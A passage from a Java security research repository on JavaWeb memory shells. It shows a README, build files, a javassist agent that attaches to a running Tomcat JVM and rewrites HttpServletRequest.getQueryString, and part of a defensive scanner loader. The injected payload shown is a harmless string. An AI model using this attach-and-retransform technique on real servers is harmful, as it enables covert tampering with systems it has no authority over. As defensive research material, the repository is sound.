├── .gitignore
├── Readme.md
├── memshell-inject
├── pom.xml
└── src
│ └── main
│ ├── java
│ └── org
│ │ └── su18
│ │ └── memshell
│ │ ├── agent
│ │ ├── TestAgent.java
│ │ └── TestTransformer.java
│ │ └── inject
│ │ └── AttachAgent.java
│ └── resources
│ └── MANIFEST.MF
├── memshell-loader
├── pom.xml
└── src
│ └── main
│ ├── java
│ └── org
│ │ └── su18
│ │ └── memshell
│ │ └── loader
│ │ ├── Agent.java
│ │ ├── SuClassLoader.java
│ │ ├── VirtualMachineProxy.java
│ │ ├── commons
│ │ ├── AgentCache.java
│ │ └── Constants.java
│ │ └── utils
│ │ └── StringUtils.java
│ └── resources
│ └── MANIFEST.MF
├── memshell-scanner
├── dependency-reduced-pom.xml
├── pom.xml
└── src
│ └── main
│ └── java
│ └── org
│ └── su18
│ └── memshell
│ └── scanner
│ ├── BootStrap.java
│ ├── SuTransformer.java
│ ├── asm
│ ├── SuClassDesc.java
│ ├── SuClassVisitor.java
│ ├── SuClassWriter.java
│ ├── SuMethodDesc.java
│ └── SuMethodVisitor.java
│ ├── common
│ └── MemoryShellType.java
│ └── utils
│ └── ClassUtils.java
├── memshell-spring
├── pom.xml
├── src
│ └── main
│ │ └── java
│ │ └── org
│ │ └── su18
│ │ └── memshell
│ │ └── spring
│ │ └── controller
│ │ ├── AddController.java
│ │ ├── AddInterceptor.java
│ │ ├── DynamicUtils.java
│ │ └── IndexController.java
└── web
│ └── WEB-INF
│ ├── applicationContext.xml
│ ├── dispatcher-servlet.xml
│ └── web.xml
├── memshell-test
├── memshell-test-apusic
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── apusic
│ │ │ ├── AddApusicFilter.java
│ │ │ ├── DynamicUtils.java
│ │ │ ├── IndexServlet.java
│ │ │ └── NewFilter.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-bes
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── bes
│ │ │ ├── AddBESFilter.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-glassfish
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── glassfish
│ │ │ ├── AddGlassFishFilter.java
│ │ │ ├── AddGlassFishServiceList.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-inforsuite
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── inforsuite
│ │ │ ├── AddInforSuiteFilter.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-jboss
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── jboss
│ │ │ ├── AddJBossFilter.java
│ │ │ ├── AddJBossServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-jetty
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── jetty
│ │ │ ├── AddJettyFilter.java
│ │ │ ├── AddJettyServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-resin
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── resin
│ │ │ ├── AddResinFilter.java
│ │ │ ├── AddResinServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-tomcat
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── tomcat
│ │ │ ├── AddTomcatFilter.java
│ │ │ ├── AddTomcatListener.java
│ │ │ ├── AddTomcatServlet.java
│ │ │ ├── AddTomcatValve.java
│ │ │ ├── DynamicUtils.java
│ │ │ ├── Generate.java
│ │ │ ├── IndexServlet.java
│ │ │ └── QueryStringServlet.java
│ └── web
│ │ ├── WEB-INF
│ │ └── web.xml
│ │ └── index.jsp
├── memshell-test-tongweb
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── tongweb
│ │ │ ├── AddTongWebServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-weblogic
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── weblogic
│ │ │ ├── AddWeblogicFilter.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-websphere
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── websphere
│ │ │ ├── AddWebsphereFilter.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── IndexServlet.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
└── pom.xml
├── pom.xml
└── suagent
└── banner.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | ### JetBrains template
2 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
3 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
4 |
5 | .idea
6 |
7 | # User-specific stuff
8 | .idea/**/workspace.xml
9 | .idea/**/tasks.xml
10 | .idea/**/usage.statistics.xml
11 | .idea/**/dictionaries
12 | .idea/**/shelf
13 |
14 | # Generated files
15 | .idea/**/contentModel.xml
16 |
17 | # Sensitive or high-churn files
18 | .idea/**/dataSources/
19 | .idea/**/dataSources.ids
20 | .idea/**/dataSources.local.xml
21 | .idea/**/sqlDataSources.xml
22 | .idea/**/dynamic.xml
23 | .idea/**/uiDesigner.xml
24 | .idea/**/dbnavigator.xml
25 |
26 | # Gradle
27 | .idea/**/gradle.xml
28 | .idea/**/libraries
29 |
30 | # Gradle and Maven with auto-import
31 | # When using Gradle or Maven with auto-import, you should exclude module files,
32 | # since they will be recreated, and may cause churn. Uncomment if using
33 | # auto-import.
34 | # .idea/artifacts
35 | # .idea/compiler.xml
36 | # .idea/jarRepositories.xml
37 | # .idea/modules.xmlApplicationFilterConfig
38 | # .idea/*.iml
39 | # .idea/modules
40 | # *.iml
41 | # *.ipr
42 |
43 | # CMake
44 | cmake-build-*/
45 |
46 | # Mongo Explorer plugin
47 | .idea/**/mongoSettings.xml
48 |
49 | # File-based project format
50 | *.iws
51 |
52 | # IntelliJ
53 | out/
54 |
55 | # mpeltonen/sbt-idea plugin
56 | .idea_modules/
57 |
58 | # JIRA plugin
59 | atlassian-ide-plugin.xml
60 |
61 | # Cursive Clojure plugin
62 | .idea/replstate.xml
63 |
64 | # Crashlytics plugin (for Android Studio and IntelliJ)
65 | com_crashlytics_export_strings.xml
66 | crashlytics.properties
67 | crashlytics-build.properties
68 | fabric.properties
69 |
70 | # Editor-based Rest Client
71 | .idea/httpRequests
72 |
73 | # Android studio 3.1+ serialized cache file
74 | .idea/caches/build_file_checksums.ser
75 |
76 | ### JetBrains template
77 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
78 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
79 |
80 | # User-specific stuff
81 | .idea/**/workspace.xml
82 | .idea/**/tasks.xml
83 | .idea/**/usage.statistics.xml
84 | .idea/**/dictionaries
85 | .idea/**/shelf
86 |
87 | # Generated files
88 | .idea/**/contentModel.xml
89 |
90 | # Sensitive or high-churn files
91 | .idea/**/dataSources/
92 | .idea/**/dataSources.ids
93 | .idea/**/dataSources.local.xml
94 | .idea/**/sqlDataSources.xml
95 | .idea/**/dynamic.xml
96 | .idea/**/uiDesigner.xml
97 | .idea/**/dbnavigator.xml
98 |
99 | # Gradle
100 | .idea/**/gradle.xml
101 | .idea/**/libraries
102 |
103 | # Gradle and Maven with auto-import
104 | # When using Gradle or Maven with auto-import, you should exclude module files,
105 | # since they will be recreated, and may cause churn. Uncomment if using
106 | # auto-import.
107 | # .idea/artifacts
108 | # .idea/compiler.xml
109 | # .idea/jarRepositories.xml
110 | # .idea/modules.xml
111 | # .idea/*.iml
112 | # .idea/modules
113 | # *.iml
114 | # *.ipr
115 |
116 | # CMake
117 | cmake-build-*/
118 |
119 | # Mongo Explorer plugin
120 | .idea/**/mongoSettings.xml
121 |
122 | # File-based project format
123 | *.iws
124 |
125 | # IntelliJ
126 | out/
127 |
128 | # mpeltonen/sbt-idea plugin
129 | .idea_modules/
130 |
131 | # JIRA plugin
132 | atlassian-ide-plugin.xml
133 |
134 | # Cursive Clojure plugin
135 | .idea/replstate.xml
136 |
137 | # Crashlytics plugin (for Android Studio and IntelliJ)
138 | com_crashlytics_export_strings.xml
139 | crashlytics.properties
140 | crashlytics-build.properties
141 | fabric.properties
142 |
143 | # Editor-based Rest Client
144 | .idea/httpRequests
145 |
146 | # Android studio 3.1+ serialized cache file
147 | .idea/caches/build_file_checksums.ser
148 |
149 | ### macOS template
150 | # General
151 | .DS_Store
152 | .AppleDouble
153 | .LSOverride
154 |
155 | # Icon must end with two \r
156 | Icon
157 |
158 | # Thumbnails
159 | ._*
160 |
161 | # Files that might appear in the root of a volume
162 | .DocumentRevisions-V100
163 | .fseventsd
164 | .Spotlight-V100
165 | .TemporaryItems
166 | .Trashes
167 | .VolumeIcon.icns
168 | .com.apple.timemachine.donotpresent
169 |
170 | # Directories potentially created on remote AFP share
171 | .AppleDB
172 | .AppleDesktop
173 | Network Trash Folder
174 | Temporary Items
175 | .apdisk
176 |
177 | ### JetBrains template
178 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
179 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
180 |
181 | # User-specific stuff
182 | .idea/**/workspace.xml
183 | .idea/**/tasks.xml
184 | .idea/**/usage.statistics.xml
185 | .idea/**/dictionaries
186 | .idea/**/shelf
187 |
188 | # Generated files
189 | .idea/**/contentModel.xml
190 |
191 | # Sensitive or high-churn files
192 | .idea/**/dataSources/
193 | .idea/**/dataSources.ids
194 | .idea/**/dataSources.local.xml
195 | .idea/**/sqlDataSources.xml
196 | .idea/**/dynamic.xml
197 | .idea/**/uiDesigner.xml
198 | .idea/**/dbnavigator.xml
199 |
200 | # Gradle
201 | .idea/**/gradle.xml
202 | .idea/**/libraries
203 |
204 | # Gradle and Maven with auto-import
205 | # When using Gradle or Maven with auto-import, you should exclude module files,
206 | # since they will be recreated, and may cause churn. Uncomment if using
207 | # auto-import.
208 | # .idea/artifacts
209 | # .idea/compiler.xml
210 | # .idea/jarRepositories.xml
211 | # .idea/modules.xml
212 | # .idea/*.iml
213 | # .idea/modules
214 | # *.iml
215 | # *.ipr
216 |
217 | # CMake
218 | cmake-build-*/
219 |
220 | # Mongo Explorer plugin
221 | .idea/**/mongoSettings.xml
222 |
223 | # File-based project format
224 | *.iws
225 |
226 | # IntelliJ
227 | out/
228 |
229 | # mpeltonen/sbt-idea plugin
230 | .idea_modules/
231 |
232 | # JIRA plugin
233 | atlassian-ide-plugin.xml
234 |
235 | # Cursive Clojure plugin
236 | .idea/replstate.xml
237 |
238 | # Crashlytics plugin (for Android Studio and IntelliJ)
239 | com_crashlytics_export_strings.xml
240 | crashlytics.properties
241 | crashlytics-build.properties
242 | fabric.properties
243 |
244 | # Editor-based Rest Client
245 | .idea/httpRequests
246 |
247 | # Android studio 3.1+ serialized cache file
248 | .idea/caches/build_file_checksums.ser
249 |
250 | # General
251 | .DS_Store
252 | .AppleDouble
253 | .LSOverride
254 |
255 | # Icon must end with two \r
256 | Icon
257 |
258 | # Thumbnails
259 | ._*
260 |
261 | # Files that might appear in the root of a volume
262 | .DocumentRevisions-V100
263 | .fseventsd
264 | .Spotlight-V100
265 | .TemporaryItems
266 | .Trashes
267 | .VolumeIcon.icns
268 | .com.apple.timemachine.donotpresent
269 |
270 | # Directories potentially created on remote AFP share
271 | .AppleDB
272 | .AppleDesktop
273 | Network Trash Folder
274 | Temporary Items
275 | .apdisk
276 |
277 | *.iml
278 |
279 |
280 | */target
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # Memory Shell
2 |
3 | JavaWeb MemoryShell Inject/Scan/Killer/Protect Research & Exploring
4 |
5 | 文章:[JavaWeb 内存马一周目通关攻略](https://su18.org/post/memory-shell)
6 |
7 |
8 |
9 | ## 项目介绍
10 |
11 | 本项目用来学习和研究 JavaWeb 内存马添加和防御模式,共包含以下几个模块。
12 |
13 | ### memshell-test
14 |
15 | 模块 memshell-test 中,针对各个常用中间件实现了至少一种 Servlet-API 类型的内存马。
16 |
17 | 包含几乎全部常见中间件的内存马写入测试文件,部分文件来自各位师傅们的分享,经修改和调整后已经全部经过测试。开箱即用。
18 |
19 | 目前包含的实现方式有:
20 |
21 | | 中间件 | 测试版本 | 内存马实现方式 |
22 | | ---------- | --------------------------- | --------------------------------------------------- |
23 | | apusic | AAS Enterprise Edition 9.0 | Filter |
24 | | bes | BES-LITE-9.5.0.382 | Filter |
25 | | glassfish | GlassFish 5.0.0 | Filter
Grizzly Filter |
26 | | inforsuite | InforSuiteAS_10 | Filter |
27 | | jboss | JBoss/WildFly 18.0.0.Final | Servlet
Filter |
28 | | jetty | Jetty 9.4.22 | Servlet
Filter |
29 | | resin | Resin 4.0.65 | Servlet
Filter |
30 | | tomcat | Tomcat 8.5.31 | Servlet
Filter
Listener
Tomcat Valve |
31 | | tongweb | TongWeb 7.0.25 | Servlet |
32 | | weblogic | WebLogic 12.2.1.3.0 | Filter |
33 | | websphere | WebSphere/Liberty 20.0.0.12 | Filter |
34 |
35 | 由于重点关注内存马的写入方式,因此上下文的获取、关键类的定位这里没有讨论。
36 |
37 | 欢迎测试和补充。
38 |
39 | ### memshell-inject
40 |
41 | 模拟冰蝎的写入内存马测试项目。
42 |
43 | 使用 JavaAgent 技术配合 javassist 写入字节码,项目 Hook 了 `javax.servlet.http.HttpServletRequest` 的 `getQueryString` 方法,返回指定字符串,配合 memshell-test-tomcat 的 `QueryStringServlet` 使用。
44 |
45 | ### memshell-spring
46 |
47 | spring controller 内存马以及 interceptor 内存马动态添加测试项目。
48 |
49 | ### memshell-loader && memshell-scanner
50 |
51 | suagent 项目,使用 JavaAgent 技术来检测和防御内存马。
52 |
53 |
54 |
55 | ## SuAgent
56 |
57 | 使用 JavaAgent 技术配合 ASM 字节码编织,获取系统中全部加载的 class,并判断其是否为内存马,如果匹配检测逻辑,将插入字节码绕过内存马逻辑,达到防御内存马的目的。
58 |
59 | 使用方法:
60 |
61 | - build 项目后会在 suagent 文件夹生成 suagent-loader.jar 以及 suagent-scanner.jar 两个文件。
62 | - 使用 java -jar suagent-loader.jar 可列举出当前系统上的 JVM PID 列表。
63 | - 使用 java -jar suagent-loader.jar attach 100 对指定 PID 进行 attach 注入,suagent 会自动对系统内 servlet-api 类型的内存马进行扫描和字节注入,可以在控制台下看到日志输出。
64 | - 使用 java -jar suagent-loader.jar detach 100 移除 agent。
65 |
66 |
67 |
68 | **测试视频:**
69 |
70 | [](https://youtu.be/tTFv15uCNjQ "Memory Shell Test")
71 |
72 |
73 | ## 广告
74 |
75 | Suagent 提供了 Servlet-API 内存马的查杀和清除能力,但是代码过于儿戏,覆盖不全是一方面,添加防御也是一方面,我会随缘更新这个项目不断完善主流内存马的查杀、检测及防御,但较为完整和成熟的 JavaWeb 内存马防御能力代码,请关注 RASP 安全产品:[安百科技-灵蜥](http://www.anbai.com/lxPlatform/)。
--------------------------------------------------------------------------------
/memshell-inject/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | MemoryShell
7 | org.su18
8 | 1.0.0
9 |
10 | 4.0.0
11 |
12 |
13 |
14 | org.javassist
15 | javassist
16 | 3.20.0-GA
17 |
18 |
19 |
20 |
21 | com.sun
22 | tools
23 | 1.8.0
24 | system
25 | /Library/Java/JavaVirtualMachines/jdk1.8.0_131.jdk/Contents/Home/lib/tools.jar
26 |
27 |
28 |
29 | memshell-inject
30 |
31 |
32 |
33 |
34 | maven-assembly-plugin
35 |
36 | false
37 |
38 | jar-with-dependencies
39 |
40 |
41 | src/main/resources/MANIFEST.MF
42 |
43 |
44 |
45 |
46 | make-assembly
47 | package
48 |
49 | assembly
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
--------------------------------------------------------------------------------
/memshell-inject/src/main/java/org/su18/memshell/agent/TestAgent.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.agent;
2 |
3 | import java.lang.instrument.Instrumentation;
4 | import java.lang.reflect.Modifier;
5 | import java.util.ArrayList;
6 | import java.util.Arrays;
7 | import java.util.List;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class TestAgent {
13 |
14 | /**
15 | * 主要函数 agentmain
16 | *
17 | * @param inst Instrumentation对象
18 | */
19 | public static void agentmain(String agentArgs, Instrumentation inst) {
20 |
21 | // 交给自定义 Transformer
22 | inst.addTransformer(new TestTransformer(), true);
23 |
24 | // 拿到所有加载的类判断进行 retransform
25 | Class>[] loadedClasses = inst.getAllLoadedClasses();
26 | for (Class> c : loadedClasses) {
27 |
28 | // 忽略接口和抽象类
29 | if (Modifier.isInterface(c.getModifiers()) && Modifier.isAbstract(c.getModifiers())) {
30 | continue;
31 | }
32 |
33 | List> list = Arrays.asList(c.getInterfaces());
34 | for (Class> o : list) {
35 | Class>[] classes = o.getInterfaces();
36 | list = new ArrayList<>(list);
37 | list.addAll(Arrays.asList(classes));
38 | }
39 |
40 |
41 | for (Class> cs : list) {
42 | if ("javax.servlet.http.HttpServletRequest".equals(cs.getName())) {
43 | System.out.println("add retransform classes: " + c.getName());
44 | try {
45 | inst.retransformClasses(c);
46 | break;
47 | } catch (Exception e) {
48 | e.printStackTrace();
49 | }
50 | }
51 | }
52 | }
53 | }
54 |
55 | }
56 |
--------------------------------------------------------------------------------
/memshell-inject/src/main/java/org/su18/memshell/agent/TestTransformer.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.agent;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.CtMethod;
7 |
8 | import java.io.FileOutputStream;
9 | import java.io.IOException;
10 | import java.lang.instrument.ClassFileTransformer;
11 | import java.lang.instrument.IllegalClassFormatException;
12 | import java.security.ProtectionDomain;
13 | import java.util.regex.Pattern;
14 |
15 | /**
16 | * ClassFileTransformer 实现类
17 | *
18 | * @author su18
19 | */
20 | public class TestTransformer implements ClassFileTransformer {
21 |
22 | @Override
23 | public byte[] transform(ClassLoader loader, String className, Class> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
24 |
25 | try {
26 | className = className.replace("/", ".");
27 |
28 | // 忽略无用类
29 | if (!className.startsWith("org.su18")) {
30 | System.out.println(className);
31 |
32 | ClassPool cp = ClassPool.getDefault();
33 | ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
34 | cp.insertClassPath(classPath);
35 | CtClass cc = cp.get(className);
36 | CtMethod m = cc.getDeclaredMethod("getQueryString");
37 |
38 | try {
39 | m.addLocalVariable("elapsedTime", CtClass.longType);
40 | m.insertBefore(insertSource());
41 | byte[] byteCode = cc.toBytecode();
42 | cc.detach();
43 | System.out.println("retransform: " + className);
44 |
45 | // dump 出经过 retransform 的 class
46 | dumpClass(className, byteCode);
47 | return byteCode;
48 | } catch (Exception ignored) {
49 |
50 | }
51 |
52 | }
53 |
54 |
55 | } catch (Exception e) {
56 | e.printStackTrace();
57 | }
58 |
59 | return null;
60 | }
61 |
62 | public String insertSource() {
63 | return "return \"the world is full of kings and queens who blind your eyes and steal your dreams\";";
64 |
65 | }
66 |
67 | private static void dumpClass(String className, byte[] classfileBuffer) throws IOException {
68 | String regexp = "\\b(ApplicationFilterChain|ResponseFacade|RequestFacade)$";
69 |
70 | if (Pattern.compile(regexp).matcher(className).find()) {
71 | className = className.substring(className.lastIndexOf(".") + 1);
72 |
73 | FileOutputStream fos = new FileOutputStream("/Users/phoebe/IdeaProjects/MemoryShell/" +
74 | "memshell-inject/target/" + className + ".class");
75 | fos.write(classfileBuffer);
76 | fos.close();
77 | }
78 | }
79 |
80 |
81 | }
82 |
--------------------------------------------------------------------------------
/memshell-inject/src/main/java/org/su18/memshell/inject/AttachAgent.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.inject;
2 |
3 |
4 | import com.sun.tools.attach.VirtualMachine;
5 | import com.sun.tools.attach.VirtualMachineDescriptor;
6 |
7 | import java.io.File;
8 | import java.util.List;
9 |
10 | /**
11 | * agent 注入进程
12 | *
13 | * @author su18
14 | */
15 | public class AttachAgent {
16 |
17 | /**
18 | * 用来注入的 main 方法
19 | *
20 | * @param args 参数
21 | * @throws Exception 异常
22 | */
23 | public static void main(String[] args) throws Exception {
24 |
25 | VirtualMachine vm;
26 | List vmList;
27 |
28 | String currentPath = AttachAgent.class.getProtectionDomain().getCodeSource().getLocation().getPath();
29 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
30 | String agentFile = new File(currentPath + "../memshell-inject-1.0.0.jar").getCanonicalPath();
31 |
32 | // 循环 JVM 进程,查找有 catalina 关键字的虚拟机
33 | try {
34 | vmList = VirtualMachine.list();
35 | for (VirtualMachineDescriptor vmd : vmList) {
36 | if (vmd.displayName().contains("catalina") || "".equals(vmd.displayName())) {
37 | vm = VirtualMachine.attach(vmd);
38 |
39 | // 兼容 windows 上的 Tomcat Service
40 | if ("".equals(vmd.displayName()) && !vm.getSystemProperties().containsKey("catalina.home")) {
41 | continue;
42 | }
43 |
44 | if (null != vm) {
45 | vm.loadAgent(agentFile);
46 | System.out.println("MemoryShell has been injected.");
47 | vm.detach();
48 | return;
49 | }
50 | }
51 | }
52 |
53 | System.out.println("No Tomcat Virtual Machine found.");
54 | } catch (Exception e) {
55 | e.printStackTrace();
56 | }
57 | }
58 |
59 |
60 | }
61 |
--------------------------------------------------------------------------------
/memshell-inject/src/main/resources/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Agent-Class: org.su18.memshell.agent.TestAgent
3 | Can-Retransform-Classes: true
4 |
--------------------------------------------------------------------------------
/memshell-loader/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | MemoryShell
7 | org.su18
8 | 1.0.0
9 |
10 | 4.0.0
11 |
12 | memshell-loader
13 |
14 |
15 | suagent-loader
16 |
17 |
18 | org.apache.maven.plugins
19 | maven-compiler-plugin
20 | 3.8.1
21 |
22 | 1.6
23 | 1.6
24 | UTF-8
25 |
26 |
27 |
28 |
29 | org.apache.maven.plugins
30 | maven-jar-plugin
31 | 2.3.2
32 |
33 |
34 |
35 | src/main/resources/MANIFEST.MF
36 |
37 |
38 |
39 |
40 |
41 | org.apache.maven.plugins
42 | maven-shade-plugin
43 | 3.2.2
44 |
45 |
46 | package
47 |
48 | shade
49 |
50 |
51 |
52 |
53 | *:*
54 |
55 | MANIFEST.MF
56 | META-INF/maven/
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 | maven-antrun-plugin
67 |
68 |
69 | package
70 |
71 |
72 |
75 |
76 |
77 |
78 | run
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/SuClassLoader.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader;
2 |
3 | import org.su18.memshell.loader.commons.AgentCache;
4 | import org.su18.memshell.loader.utils.StringUtils;
5 |
6 | import java.io.File;
7 | import java.io.IOException;
8 | import java.lang.instrument.ClassFileTransformer;
9 | import java.lang.instrument.Instrumentation;
10 | import java.lang.reflect.Field;
11 | import java.lang.reflect.InvocationTargetException;
12 | import java.lang.reflect.Method;
13 | import java.net.URL;
14 | import java.net.URLClassLoader;
15 | import java.util.Enumeration;
16 | import java.util.List;
17 | import java.util.jar.JarFile;
18 |
19 | import static org.su18.memshell.loader.commons.Constants.JAVA_INTERNAL_PACKAGES;
20 |
21 | /**
22 | * 使用自定义 ClassLoader 加载自己的 jar
23 | *
24 | * @author su18
25 | */
26 | public class SuClassLoader extends URLClassLoader {
27 |
28 | private String args;
29 |
30 | private Instrumentation instrumentation;
31 |
32 | private ClassFileTransformer raspClassFileTransformer;
33 |
34 | private File agentFile;
35 |
36 |
37 | public SuClassLoader(final URL url, final ClassLoader classLoader) {
38 | super(new URL[]{url}, classLoader);
39 | }
40 |
41 |
42 | public String getArgs() {
43 | return args;
44 | }
45 |
46 | public Instrumentation getInstrumentation() {
47 | return instrumentation;
48 | }
49 |
50 | public ClassFileTransformer getRaspClassFileTransformer() {
51 | return raspClassFileTransformer;
52 | }
53 |
54 | public void setRaspClassFileTransformer(ClassFileTransformer raspClassFileTransformer) {
55 | this.raspClassFileTransformer = raspClassFileTransformer;
56 | }
57 |
58 | /**
59 | * 注册一个Jar文件到当前的类加载器
60 | *
61 | * @param url jar文件的url地址
62 | */
63 | @Override
64 | public void addURL(URL url) {
65 | super.addURL(url);
66 | }
67 |
68 | public File getAgentFile() {
69 | return agentFile;
70 | }
71 |
72 | /**
73 | * 修改获取资源文件优先级,优先从自身的jar中找
74 | *
75 | * @param name 资源名称
76 | * @return 资源文件URL地址
77 | */
78 | @Override
79 | public URL getResource(String name) {
80 | URL url = findResource(name);
81 |
82 | if (url != null) {
83 | return url;
84 | }
85 |
86 | return super.getResource(name);
87 | }
88 |
89 | /**
90 | * 修改获取资源文件优先级,优先从自身的jar中找
91 | *
92 | * @param name 资源名称
93 | * @return 资源文件枚举URL地址
94 | * @throws IOException 文件读取异常
95 | */
96 | @Override
97 | public Enumeration getResources(String name) throws IOException {
98 | Enumeration urls = findResources(name);
99 |
100 | if (urls != null) {
101 | return urls;
102 | }
103 |
104 | return super.getResources(name);
105 | }
106 |
107 | /**
108 | * 加载类资源对象
109 | *
110 | * @param name 类名
111 | * @param resolve 是否需要resolve
112 | * @return 返回类对象
113 | * @throws ClassNotFoundException 类未找到异常
114 | */
115 | @Override
116 | protected synchronized Class> loadClass(String name, boolean resolve) throws ClassNotFoundException {
117 | final Class> loadedClass = findLoadedClass(name);
118 | if (loadedClass != null) {
119 | return loadedClass;
120 | }
121 |
122 | // 忽略JDK自带的包
123 | if (name.matches(JAVA_INTERNAL_PACKAGES)) {
124 | return super.loadClass(name, resolve);
125 | }
126 |
127 | try {
128 | Class> clazz = findClass(name);
129 |
130 | if (resolve) {
131 | resolveClass(clazz);
132 | }
133 |
134 | return clazz;
135 | } catch (Exception e) {
136 | return super.loadClass(name, resolve);
137 | }
138 | }
139 |
140 | /**
141 | * 加载RASP Agent
142 | *
143 | * @param agentFile Agent路径
144 | * @param args Agent参数
145 | * @param inst Instrumentation
146 | * @param cache Agent缓存
147 | * @throws ClassNotFoundException 类未找到异常
148 | * @throws NoSuchMethodException 方法未找到异常
149 | * @throws InvocationTargetException 反射调用异常
150 | * @throws IllegalAccessException 反射不正确的访问异常
151 | */
152 | public void loadAgent(File agentFile, String args, Instrumentation inst, AgentCache cache) throws Exception {
153 | this.args = args;
154 | this.instrumentation = inst;
155 | this.agentFile = agentFile;
156 |
157 | // 添加Agent处理JAR到类加载器
158 | this.addURL(agentFile.toURL());
159 |
160 | // 反射调用 scanner 的 BootStrap 完成 Agent 启动
161 | Class> bootStrapClass = this.loadClass("org.su18.memshell.scanner.BootStrap");
162 | bootStrapClass.getMethod(
163 | "bootStrap", Instrumentation.class, SuClassLoader.class, AgentCache.class
164 | ).invoke(args, inst, this, cache);
165 | }
166 |
167 | /**
168 | * 关闭 RASP 类加载器,释放jar文件连接
169 | */
170 | public boolean closeClassLoader() {
171 | try {
172 | // 如果URLClassLoader类有close方法则直接调用
173 | Class> clazz = URLClassLoader.class;
174 | Method[] methods = clazz.getMethods();
175 |
176 | for (Method method : methods) {
177 | if ("close".equals(method.getName())) {
178 | method.invoke(this);
179 |
180 | return true;
181 | }
182 | }
183 |
184 | // 如果不能直接通过close方法关闭那么就需要反向查找所有已经打开了的jar文件并关闭了
185 | Field ucpField = clazz.getDeclaredField("ucp");
186 | ucpField.setAccessible(true);
187 | Object ucp = ucpField.get(this);
188 |
189 | Field loadersField = ucp.getClass().getDeclaredField("loaders");
190 | loadersField.setAccessible(true);
191 | List> loaders = (List>) loadersField.get(ucp);
192 |
193 | for (Object loader : loaders) {
194 | Class> jarLoaderClass = loader.getClass();
195 | Method method = jarLoaderClass.getDeclaredMethod("getJarFile");
196 | method.setAccessible(true);
197 |
198 | // 释放jar文件连接
199 | JarFile jarFile = (JarFile) method.invoke(loader);
200 | jarFile.close();
201 |
202 | StringUtils.println("Closed Jar: [" + jarFile.getName() + "]");
203 | }
204 |
205 | return true;
206 | } catch (Exception e) {
207 | e.printStackTrace();
208 | }
209 |
210 | return false;
211 | }
212 |
213 | }
214 |
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/VirtualMachineProxy.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader;
